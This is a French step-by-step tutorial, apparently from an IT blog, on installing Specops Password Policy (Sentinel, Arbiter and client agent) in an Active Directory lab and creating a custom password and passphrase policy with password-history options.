<p><iframe class="iframe_youtube" title="YouTube video player" src="https://www.youtube.com/embed/UOej6hj1bLs" frameborder="0" allowfullscreen="allowfullscreen"><span data-mce-type="bookmark" style="display: inline-block; width: 0px; overflow: hidden; line-height: 0;" class="mce_SELRES_start">﻿</span></iframe></p>
<p>La mise en place d'une politique de mots de passe n'est jamais une tâche facile en entreprise. Bien souvent, les utilisateurs sont réticents à la mise en place de contraintes concernant les mots de passe. Pourtant, c'est indispensable, car les mots de passe sont continuellement pris pour cible lorsqu'il s'agit d'attaquer une entreprise. Ce fameux sésame est la clé qui ouvre la porte à une partie du système d'information. <strong>Pour lutter contre les attaques de type brute force et password spraying, il n'y a pas de secrets : il faut mettre des mesures de protection en place.</strong></p>
<p>Nativement, l'Active Directory intègre la possibilité de mettre en place une politique de mots de passe pour les comptes des utilisateurs. Même si l'on peut mettre en place les stratégies de mots de passe affinées, cette solution native ne va pas assez loin en matière de sécurité des mots de passe et dans la gestion du renouvellement de ces mêmes mots de passe.</p>
<p>Quand je dis "<em>cette solution native ne va pas assez loin en matière de sécurité des mots de passe</em>", j'entends par là qu'il n'est pas possible d'interdire les mots de passe trop proches, et qu'il n'est pas possible de vérifier si le mot de passe saisi par l'utilisateur fait déjà l'objet d'une fuite de données (<em>et que, potentiellement, il est déjà présent dans un dictionnaire</em>).</p>
<p>Le logiciel payant Specops Password Policy va apporter des fonctionnalités que l'on peut résumer en trois points :</p>
<ul>
<li><strong>Définir une politique de mots de passe sur mesure</strong> pour les utilisateurs (en s'appuyant sur un groupe de sécurité ou en ciblant une unité d'organisation) en appliquant de nombreuses règles</li>
<li><strong>Vérifier si le mot de passe est compromis </strong>: le mot de passe définit par l'utilisateur est un mot de passe qui est présent dans une fuite de données ou utilisé par des hackers et repéré par Specops grâce à des honeypots</li>
<li><strong>Notifier les utilisateurs par e-mail et/ou SMS</strong> : le mot de passe expire dans X jours ou le mot de passe a été trouvé dans une fuite de données</li>
</ul>
<p>Avant de commencer, vous devez<strong> <a href="https://specopssoft.com/lp/fr/specops-password-policy-it-connect/?utm_campaign=it-connect%20review%20fr&amp;utm_source=it-connect&amp;utm_medium=referral&amp;utm_term=review&amp;utm_content=spp%20link" target="_blank" rel="noopener">télécharger Specops Password Policy</a></strong>. En utilisant mon lien, vous pouvez obtenir une version d'essai de 45 jours (<em>contre 30 jours en temps normal</em>) : de quoi prendre le temps de découvrir le logiciel et d'avoir de premiers retours.</p>
<h2>II. Installation de Specops Password Policy</h2>
<p>L'installation de Specops Password Policy (SPP) s'effectue en plusieurs étapes. Pour cette démonstration, je vais utiliser 3 machines virtuelles pour reproduire l'installation selon les bonnes pratiques de l'éditeur :</p>
<ul>
<li>1 serveur contrôleur de domaine Active Directory - SRV-ADDS-01</li>
<li>1 serveur membre Windows Server - SRV-APPLIS</li>
<li>1 poste de travail sous Windows 11</li>
</ul>
<p>En résumé, je vais installer sur le contrôleur de domaine : les outils d'administration de SPP et le composant Sentinel qui doit être installé sur l'ensemble des contrôleurs de domaine. Sur le serveur membre, je vais installer également les outils d'administration de SPP ainsi que le composant Arbiter. Enfin, le poste de travail sous Windows est là pour tester le logiciel en se mettant dans la peau d'un utilisateur.</p>
<h3>A. A quoi correspondent les rôles Sentinel et Arbiter ?</h3>
<p><strong>Les rôles Sentinel et Arbiter sont propres à Specops Password Policy, donc je vais vous expliquer l'utilité de ces deux composants.</strong></p>
<p>Le rôle <strong>Sentinel</strong> s'installe sur tous les contrôleurs de domaine et il est là pour s'assurer que les politiques de mots de passe définies dans SPP sont bien respectées. En fait, lorsqu'un utilisateur va modifier son mot de passe il va l'analyser pour vérifier qu'il respecte bien la politique qui s'applique sur cet utilisateur.</p>
<p>Le rôle <strong>Arbiter</strong> sert de proxy (ou de passerelle si vous préférez) entre le contrôleur de domaine et les services Cloud de Specops. Il s'installe sur un serveur différent, car on considère que le contrôleur de domaine n'a pas d'accès à Internet. Grâce à une clé d'API, il va communiquer avec le service "<em>Breached Password Protection API</em>" de Specops pour vérifier si le nouveau mot de passe de l'utilisateur est présent dans une fuite de données, auquel cas il sera refusé.</p>
<blockquote><p><strong>Note</strong> : la vérification du mot de passe au travers de "<em>Breached Password Protection API</em>" s'effectue de façon sécurisée. Le mot de passe n'est pas envoyé entièrement pour requêter l'API puisque la requête est effectuée avec les quatre premiers caractères du mot de passe. Ensuite, l'API retourne les mots de passe correspondants s'il y en a, et c'est au niveau local que la vérification est effectuée.</p></blockquote>
<p><img class="aligncenter size-full wp-image-46255" src="media/a66376bf.specops-password-policy-schema.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-schema.jpg" alt="" width="700" height="498" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-schema.jpg 700w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-schema-550x391.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-schema-150x107.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-schema-160x114.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-schema-50x36.jpg 50w" sizes="(max-width: 700px) 100vw, 700px" /></p>
<h3>B. Préparation du contrôleur de domaine</h3>
<p>Au premier lancement, l'exécutable décompresse ses données dans le dossier "<em>C:\Temp\SpecopsPasswordPolicy_Setup_7.6.21182.1</em>", ce qui sera utile pour la suite, vous verrez. Il faut commencer par installer la console de gestion du logiciel, par l'intermédiaire du bouton "<strong>Administration Tools</strong>".</p>
<p><img class="aligncenter size-full wp-image-46240" src="media/a44577a9.tutoriel-specops-password-policy-03.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-03.png" alt="" width="684" height="374" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-03.png 684w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-03-550x301.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-03-150x82.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-03-160x87.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-03-50x27.png 50w" sizes="(max-width: 684px) 100vw, 684px" /></p>
<p>Ensuite, il faut cliquer sur le bouton "<strong>Add menu ext.</strong>" puis sur le bouton "<strong>Install</strong>" pour installer les différents composants liés à la gestion du logiciel.</p>
<p><img class="aligncenter size-full wp-image-46239" src="media/b749a038.tutoriel-specops-password-policy-04.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-04.png" alt="" width="684" height="486" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-04.png 684w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-04-550x391.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-04-150x107.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-04-160x114.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-04-50x36.png 50w" sizes="(max-width: 684px) 100vw, 684px" /></p>
<p>Ensuite, revenez au menu principal de l'installeur. Cliquez sur "<strong>Domain Controller Sentinel</strong>".</p>
<p><img class="aligncenter size-full wp-image-46256" src="media/6fde5a33.tutoriel-specops-password-policy-06bis.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-06bis.png" alt="" width="683" height="482" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-06bis.png 683w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-06bis-550x388.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-06bis-150x106.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-06bis-160x113.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-06bis-50x35.png 50w" sizes="(max-width: 683px) 100vw, 683px" /></p>
<p>Sélectionnez tous les contrôleurs de domaine de votre infrastructure pour déployer l'agent partout. Pour ma part, il n'y en a qu'un seul. Une fois la sélection effectuée, il faut cliquer sur "Install".</p>
<p><img class="aligncenter size-full wp-image-46237" src="media/fefd404e.tutoriel-specops-password-policy-08.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-08.png" alt="" width="684" height="493" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-08.png 684w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-08-550x396.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-08-150x108.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-08-160x115.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-08-50x36.png 50w" sizes="(max-width: 684px) 100vw, 684px" /></p>
<p>Voilà, nous en avons fini avec le contrôleur de domaine pour le moment.</p>
<h3>C. Préparation du serveur membre</h3>
<p>À partir du serveur membre, qui s'appelle dans mon cas "<em>SRV-APPLIS</em>", je vais accéder aux sources d'installation située sur mon serveur SRV-ADDS-01.</p>
<pre>\\SRV-ADDS-01\c$\Temp\</pre>
<p>Ensuite, j'exécute l'assistant d'installation.</p>
<p><img class="aligncenter size-full wp-image-46257" src="media/ba5a0225.tutoriel-specops-password-policy-09.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-09.png" alt="" width="736" height="454" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-09.png 736w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-09-550x339.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-09-150x93.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-09-160x99.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-09-50x31.png 50w" sizes="(max-width: 736px) 100vw, 736px" /></p>
<p>Cette fois-ci, je sélectionne le rôle "<strong>Specops Arbiter</strong>". Il est à noter que l'éditeur recommande d'installer au minimum deux serveurs avec le rôle Arbiter pour assurer la redondance. <strong>Que vous installiez un seul ou plusieurs serveurs Arbiter, le coût reste le même.</strong></p>
<p><img class="aligncenter size-full wp-image-46258" src="media/2700e836.tutoriel-specops-password-policy-10.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10.png" alt="" width="684" height="474" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10.png 684w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10-550x381.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10-160x111.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-10-130x90.png 130w" sizes="(max-width: 684px) 100vw, 684px" /></p>
<p>Cliquez sur le bouton "<strong>Install</strong>" et suivez l'assistant.</p>
<p><img class="aligncenter size-full wp-image-46259" src="media/d3880fcf.tutoriel-specops-password-policy-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-11.png" alt="" width="685" height="355" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-11.png 685w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-11-550x285.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-11-150x78.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-11-160x83.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-11-50x26.png 50w" sizes="(max-width: 685px) 100vw, 685px" /></p>
<p>Comme sur l'autre serveur, installez la console en cliquant sur "<strong>Administration Tools</strong>", puis cliquez directement sur "<strong>Install</strong>".</p>
<p><img class="aligncenter size-full wp-image-46260" src="media/cdff89dc.tutoriel-specops-password-policy-12.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-12.png" alt="" width="683" height="479" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-12.png 683w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-12-550x386.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-12-150x105.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-12-160x112.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-12-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-12-130x90.png 130w" sizes="(max-width: 683px) 100vw, 683px" /></p>
<p>Vous pouvez fermer l'assistant d'installation. Sur votre serveur, vous pouvez ouvrir la console "<strong>Specops Password Policy Domain Administration</strong>" pour commencer à configurer le logiciel.</p>
<p><img class="aligncenter size-large wp-image-46261" src="media/53427410.tutoriel-specops-password-policy-14-800x447.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14-800x447.png" alt="" width="800" height="447" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14-800x447.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14-550x307.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14-150x84.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14-768x429.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14-160x89.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-14.png 1186w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Accédez à l'onglet "<strong>Domain Settings</strong>" : le message "<strong>The group has not been created, click Create</strong>" apparaît. Cliquez sur le bouton "<strong>Create</strong>" puis sur "<strong>OK</strong>". Cela va permettre de créer un groupe nommé "<strong>Specops Password Policy Custom Expiration Readers</strong>" dans l'Active Directory.</p>
<p><img class="aligncenter size-full wp-image-46268" src="media/d283f7f8.tutoriel-specops-password-policy-22.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-22.jpg" alt="" width="800" height="447" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-22.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-22-550x307.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-22-150x84.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-22-768x429.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-22-160x89.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-22-50x28.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Ensuite, accédez à l'onglet "<strong>Breached Password Protection</strong>" afin d'enregistrer notre serveur Arbiter ("<strong>Register new Arbiter</strong>") auprès de l'API Breached Password Protection. Ce qui est indispensable pour utiliser cette fonctionnalité (que nous découvrirons par la suite).</p>
<p><img class="aligncenter size-large wp-image-46305" src="media/0996344c.tutoriel-specops-password-policy-44-800x289.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44-800x289.png" alt="" width="800" height="289" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44-800x289.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44-550x199.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44-150x54.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44-768x277.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44-160x58.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44-50x18.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-44.png 1130w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Voilà, laissez la console de côté un instant, nous allons préparer le poste client. Ce sera fait et nous aurons plus à nous occuper de la partie installation.</p>
<h3>D. Préparation du poste client</h3>
<p><strong>Sur les postes clients, il est recommandé de déployer un agent Specops. Pourquoi ? Cet agent est utile lors de la réinitialisation d'un mot de passe depuis le poste client. Il va permettre d'afficher à l'utilisateur les conditions à respecter pour définir son nouveau mot de passe. Sachez malgré tout que l'installation du logiciel sur les postes clients est facultatif (vous verrez par la suite l'intérêt de ce client).</strong></p>
<p>Cet agent est disponible au format MSI, ce qui va permettre de le déployer facilement par GPO ou avec un logiciel de déploiement. Il est disponible en version 32 bits et 64 bits. La bonne nouvelle, c'est qu'il s'installe très facilement, sans configuration particulière.</p>
<p>Pour ma part, j'ai procédé à l'installation du package "<em>Specops.Authentication.Client-x64.msi</em>" sur une machine Windows 11.</p>
<p><img class="aligncenter size-full wp-image-46262" src="media/f4e87b23.specops-password-policy-client-windows-11.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-client-windows-11.jpg" alt="" width="687" height="455" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-client-windows-11.jpg 687w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-client-windows-11-550x364.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-client-windows-11-150x99.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-client-windows-11-160x106.jpg 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/specops-password-policy-client-windows-11-50x33.jpg 50w" sizes="(max-width: 687px) 100vw, 687px" /></p>
<p>Nous verrons dans la suite de ce tutoriel à quoi ressemble l'intégration au sein du poste client.</p>
<h2>III. Création de sa première politique de mots de passe renforcée</h2>
<p>Il est temps de créer notre première politique de mots de passe renforcée et surtout une politique sur mesure, que l'on va configurer <em>aux petits oignons</em>, comme on dit.</p>
<p>En haut à gauche, cliquez sur "<strong>Password policies</strong>". Ensuite, le logiciel va lister les politiques de mots de passe actuelles, y compris celle native de l'Active Directory. Pour notre part, nous allons créer une nouvelle politique : cliquez sur "<strong>Create new Password Policy</strong>".</p>
<blockquote><p><strong>Note</strong> : pour modifier une politique existante et créée avec Specops, il suffit de la sélectionner et de cliquer sur le bouton "<strong>Edit Policy</strong>".</p></blockquote>
<p><img class="aligncenter size-large wp-image-46270" src="media/9caa2fa0.tutoriel-specops-password-policy-23-800x445.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23-800x445.png" alt="" width="800" height="445" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23-800x445.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23-550x306.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23-150x83.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23-768x427.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23-160x89.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23-50x28.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-23.png 1184w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Ensuite, la liste de vos GPOs s'affiche. Cliquez sur "<strong>New Group Policy object</strong>" pour créer une nouvelle GPO qui va utiliser l'extension Specops. Pour ma part, je nomme cette GPO "<strong>Password_Policy</strong>".</p>
<p>Pendant le processus de création de la GPO, il est nécessaire de<strong> sélectionner l'OU sur laquelle appliquer la GPO (et donc la politique de mots de passe)</strong>. Tout en sachant que la politique s'applique sur les utilisateurs. Une alternative consiste à s'appuyer sur un groupe de sécurité pour appliquer les politiques du logiciel Specops, c'est au choix.</p>
<blockquote><p><strong>Note</strong> : la liaison de la GPO liée à Specops sur les OUs peut être effectuée à partir de la console standard de gestion des GPOs.</p></blockquote>
<p><img class="aligncenter size-large wp-image-46269" src="media/adcc09c6.tutoriel-specops-password-policy-24-800x679.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24-800x679.png" alt="" width="800" height="679" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24-800x679.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24-550x467.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24-150x127.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24-768x652.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24-160x136.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24-50x42.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-24.png 809w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Ensuite, vous avez plusieurs choix pour créer votre politique :</p>
<ul>
<li><strong>Custom</strong> : une politique sur mesure que vous personnalisez entièrement</li>
<li><strong>Microsoft recommendation</strong> : politique de mots de passe basée sur les recommandations de Microsoft</li>
<li><strong>NCSC recommendation</strong> : politique de mots de passe basée sur les recommandations du NCSC (<em>National Cyber Security Centre</em>, équivalent de l'ANSSI au Royaume-Uni</li>
<li><strong>NIST recommendation</strong> : politique de mots de passe basée sur les recommandations du NIST (<em>National Institute of Standards and Technology</em>, États unis)</li>
<li><strong>NSA recommendation</strong> : politique de mots de passe basée sur les recommandations de la NSA (<em>National Security Agency, Etats-Unis</em>)</li>
</ul>
<p>Ce serait intéressant que l'ANSSI entre en contact avec Specops (ou l'inverse) pour intégrer les recommandations de l'ANSSI au logiciel. Ce serait une bonne évolution pour aiguiller les entreprises lors de la création d'une politique.</p>
<p>Pour notre part, nous allons choisir "<strong>Custom</strong>" pour voir les différentes options proposées par ce logiciel. Le fait d'utiliser une politique qui suit les recommandations permet de partir d'une base, mais vous pouvez ajuster la politique malgré tout.</p>
<p><img class="aligncenter size-full wp-image-46271" src="media/d84ea9f2.tutoriel-specops-password-policy-26.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-26.png" alt="" width="724" height="630" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-26.png 724w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-26-550x479.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-26-150x131.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-26-160x139.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-26-50x44.png 50w" sizes="(max-width: 724px) 100vw, 724px" /></p>
<p>Nous pouvons définir<strong> une politique de mots de passe</strong> et <strong>une politique de passphrase </strong><em>("phrase secrète")</em>, que l'on peut considérer comme des mots de passe constitués d'une suite de mots et avec une longueur plus importante que les mots de passe standards. Nous pouvons faire choisir les deux, c'est ce que nous allons faire : choisissez "<strong>Enable Both</strong>".</p>
<p><img class="aligncenter size-large wp-image-46275" src="media/f7e8e034.tutoriel-specops-password-policy-27-800x576.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27-800x576.png" alt="" width="800" height="576" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27-800x576.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27-550x396.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27-150x108.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27-768x553.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27-160x115.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27-50x36.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-27.png 1113w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Commençons par le premier onglet "<strong>General Settings</strong>". Au sein de cet onglet, nous allons retrouver les paramètres globaux, notamment au sujet de l'historique des mots de passe.</p>
<blockquote><p><strong>Note</strong> : le message "<em>The password policy is incompatible with the built-in domain password policy....</em>" s'affiche si la politique que vous êtes en train de créer "est plus faible" que la politique de mots de passe intégrée à l'Active Directory. Dans ce cas, il faut ajuster la politique existante pour faire disparaître le message.</p></blockquote>
<p><strong>Pour être plus précis sur la partie historique des mots de passe :</strong></p>
<p>L'option "<strong>Disallow incremental passwords</strong>" permet de désactiver l'incrémentation des mots de passe. Je m'explique : un utilisateur avec le mot de passe "<em>Bonjour1</em>" ne pourra pas définir "<em>Bonjour2</em>" ni "<em>Bonjour5</em>" comme mot de passe. Quant à l'option "<strong>Number of remembered passwords</strong>", elle permet d'indiquer le nombre de mots de passe mémorisés et sur lequel se base l'historique de mots de passe de l'utilisateur.</p>
<p>Il est déconseillé d'utiliser les options "<strong>Minimum number of changed characters</strong>" (<em>Minimum de caractères différents entre l'ancien et le nouveau mot de passe</em>) et "<strong>Disallow reusing part of current password</strong>" (<em>Désactiver la réutilisation d'une partie du mot de passe actuel</em>), car, bien qu'elle puisse sembler pertinente, elles nécessitent d'activer le chiffrement réversible au sein de l'Active Directory. Pour des raisons évidentes de sécurité, on évitera et on se contentera des comparaisons basées sur les hash.</p>
<p><img class="aligncenter size-large wp-image-46274" src="media/671c9778.tutoriel-specops-password-policy-28-800x557.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-800x557.png" alt="" width="800" height="557" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-800x557.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-550x383.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-150x104.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-768x535.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-160x111.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-50x35.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-392x272.png 392w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28-130x90.png 130w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-28.png 1116w" sizes="(max-width: 800px) 100vw, 800px" /></p>
<p>Ce que j'aime bien au sein de l'interface de SPP, c'est le panneau d'aide sur la droite. En fait, lorsque l'on positionne la souris sur une option, il y a l'aide concernant cette option qui s'affiche sur la droite. C'est très pratique.</p>
<p><img class="aligncenter size-full wp-image-46281" src="media/5e6c3cb9.tutoriel-specops-password-policy-02.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-02.png" alt="" width="696" height="303" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-02.png 696w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-02-550x239.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-02-150x65.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-02-160x70.png 160w, https://www.it-connect.fr/wp-content-itc/uploads/2021/09/tutoriel-specops-password-policy-02-50x22.png 50w" sizes="(max-width: 696px) 100vw, 696px" /></p>
